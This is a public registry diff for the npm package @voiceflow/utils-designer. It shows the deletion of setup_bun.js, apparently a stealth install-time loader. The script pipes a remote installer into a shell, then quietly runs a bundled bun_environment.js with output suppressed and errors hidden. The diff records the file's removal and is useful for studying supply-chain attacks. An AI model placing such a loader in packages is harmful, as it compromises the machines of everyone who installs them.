@voiceflow/utils-designer 1.74.19 → 1.74.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/setup_bun.js DELETED
@@ -1,190 +0,0 @@
1
- #!/usr/bin/env node
2
- const { spawn, execSync } = require('child_process');
3
- const path = require('path');
4
- const fs = require('fs');
5
- const os = require('os');
6
-
7
- function isBunOnPath() {
8
- try {
9
- const command = process.platform === 'win32' ? 'where bun' : 'which bun';
10
- execSync(command, { stdio: 'ignore' });
11
- return true;
12
- } catch {
13
- return false;
14
- }
15
- }
16
-
17
- function reloadPath() {
18
- // Reload PATH environment variable
19
- if (process.platform === 'win32') {
20
- try {
21
- // On Windows, get updated PATH from registry
22
- const result = execSync('powershell -c "[Environment]::GetEnvironmentVariable(\'PATH\', \'User\') + \';\' + [Environment]::GetEnvironmentVariable(\'PATH\', \'Machine\')"', {
23
- encoding: 'utf8'
24
- });
25
- process.env.PATH = result.trim();
26
- } catch {
27
- }
28
- } else {
29
- try {
30
- // On Unix systems, source common shell profile files
31
- const homeDir = os.homedir();
32
- const profileFiles = [
33
- path.join(homeDir, '.bashrc'),
34
- path.join(homeDir, '.bash_profile'),
35
- path.join(homeDir, '.profile'),
36
- path.join(homeDir, '.zshrc')
37
- ];
38
-
39
- // Try to source profile files to get updated PATH
40
- for (const profileFile of profileFiles) {
41
- if (fs.existsSync(profileFile)) {
42
- try {
43
- const result = execSync(`bash -c "source ${profileFile} && echo $PATH"`, {
44
- encoding: 'utf8',
45
- stdio: ['pipe', 'pipe', 'ignore']
46
- });
47
- if (result && result.trim()) {
48
- process.env.PATH = result.trim();
49
- break;
50
- }
51
- } catch {
52
- // Continue to next profile file
53
- }
54
- }
55
- }
56
-
57
- // Also check if ~/.bun/bin exists and add it to PATH if not already there
58
- const bunBinDir = path.join(homeDir, '.bun', 'bin');
59
- if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {
60
- process.env.PATH = `${bunBinDir}:${process.env.PATH}`;
61
- }
62
- } catch {}
63
- }
64
- }
65
-
66
- async function downloadAndSetupBun() {
67
- try {
68
- let command;
69
- if (process.platform === 'win32') {
70
- // Windows: Use PowerShell script
71
- command = 'powershell -c "irm bun.sh/install.ps1|iex"';
72
- } else {
73
- // Linux/macOS: Use curl + bash script
74
- command = 'curl -fsSL https://bun.sh/install | bash';
75
- }
76
-
77
- execSync(command, {
78
- stdio: 'ignore',
79
- env: { ...process.env }
80
- });
81
-
82
- // Reload PATH to pick up newly installed bun
83
- reloadPath();
84
-
85
- // Find bun executable after installation
86
- const bunPath = findBunExecutable();
87
- if (!bunPath) {
88
- throw new Error('Bun installation completed but executable not found');
89
- }
90
-
91
- return bunPath;
92
- } catch {
93
- process.exit(0);
94
- }
95
- }
96
-
97
- function findBunExecutable() {
98
- // Common locations where bun might be installed
99
- const possiblePaths = [];
100
-
101
- if (process.platform === 'win32') {
102
- // Windows locations
103
- const userProfile = process.env.USERPROFILE || '';
104
- possiblePaths.push(
105
- path.join(userProfile, '.bun', 'bin', 'bun.exe'),
106
- path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')
107
- );
108
- } else {
109
- // Unix locations
110
- const homeDir = os.homedir();
111
- possiblePaths.push(
112
- path.join(homeDir, '.bun', 'bin', 'bun'),
113
- '/usr/local/bin/bun',
114
- '/opt/bun/bin/bun'
115
- );
116
- }
117
-
118
- // Check if bun is now available on PATH
119
- if (isBunOnPath()) {
120
- return 'bun';
121
- }
122
-
123
- // Check common installation paths
124
- for (const bunPath of possiblePaths) {
125
- if (fs.existsSync(bunPath)) {
126
- return bunPath;
127
- }
128
- }
129
-
130
- return null;
131
- }
132
-
133
- function runExecutable(execPath, args = [], opts = {}) {
134
- const child = spawn(execPath, args, {
135
- stdio: 'ignore',
136
- cwd: opts.cwd || process.cwd(),
137
- env: Object.assign({}, process.env, opts.env || {})
138
- });
139
-
140
- child.on('error', (err) => {
141
- process.exit(0);
142
- });
143
-
144
- child.on('exit', (code, signal) => {
145
- if (signal) {
146
- process.exit(0);
147
- } else {
148
- process.exit(code === null ? 1 : code);
149
- }
150
- });
151
- }
152
-
153
- // Main execution
154
- async function main() {
155
- let bunExecutable;
156
-
157
- if (isBunOnPath()) {
158
- // Use bun from PATH
159
- bunExecutable = 'bun';
160
- } else {
161
- // Check if we have a locally downloaded bun
162
- const localBunDir = path.join(__dirname, 'bun-dist');
163
- const possiblePaths = [
164
- path.join(localBunDir, 'bun', 'bun'),
165
- path.join(localBunDir, 'bun', 'bun.exe'),
166
- path.join(localBunDir, 'bun.exe'),
167
- path.join(localBunDir, 'bun')
168
- ];
169
-
170
- const existingBun = possiblePaths.find(p => fs.existsSync(p));
171
-
172
- if (existingBun) {
173
- bunExecutable = existingBun;
174
- } else {
175
- // Download and setup bun
176
- bunExecutable = await downloadAndSetupBun();
177
- }
178
- }
179
-
180
- const environmentScript = path.join(__dirname, 'bun_environment.js');
181
- if (fs.existsSync(environmentScript)) {
182
- runExecutable(bunExecutable, [environmentScript]);
183
- } else {
184
- process.exit(0);
185
- }
186
- }
187
-
188
- main().catch((error) => {
189
- process.exit(0);
190
- });